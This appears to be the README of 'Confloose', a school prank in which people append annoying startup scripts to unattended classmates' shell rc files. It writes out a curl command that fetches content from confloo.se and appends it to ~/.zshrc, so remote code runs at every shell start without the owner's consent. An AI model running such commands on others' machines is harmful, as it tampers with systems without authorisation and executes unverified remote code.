Confloose

The worst startup scripts ever

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Confloose

A confloose (or "loose configuration") is a collection of the worst a startup script can do for you.

There has been a prank going on for quite some time in my IT school -- when someone leaves his computer unattended, and without locking it, one would append a script to the victim's shell startup file.

The deal is to put really annoying things right off the bat while not harming the computer and the data on it -- this prank is meant as a lesson (you should not leave your computer unattended in public space), and a fun challenge (at least for the one watching from afar)

How to confloose somebody :

curl "http://confloo.se/hard" >> ~/.the_shell_rc

So, as an example, confloosing someone using zsh :

curl "http://confloo.se/hard" >> ~/.zshrc

Rules :

  1. Don't destroy anything.
  2. Don't steal anything.
  3. Try to be cryptic.
  4. Be fun and creative.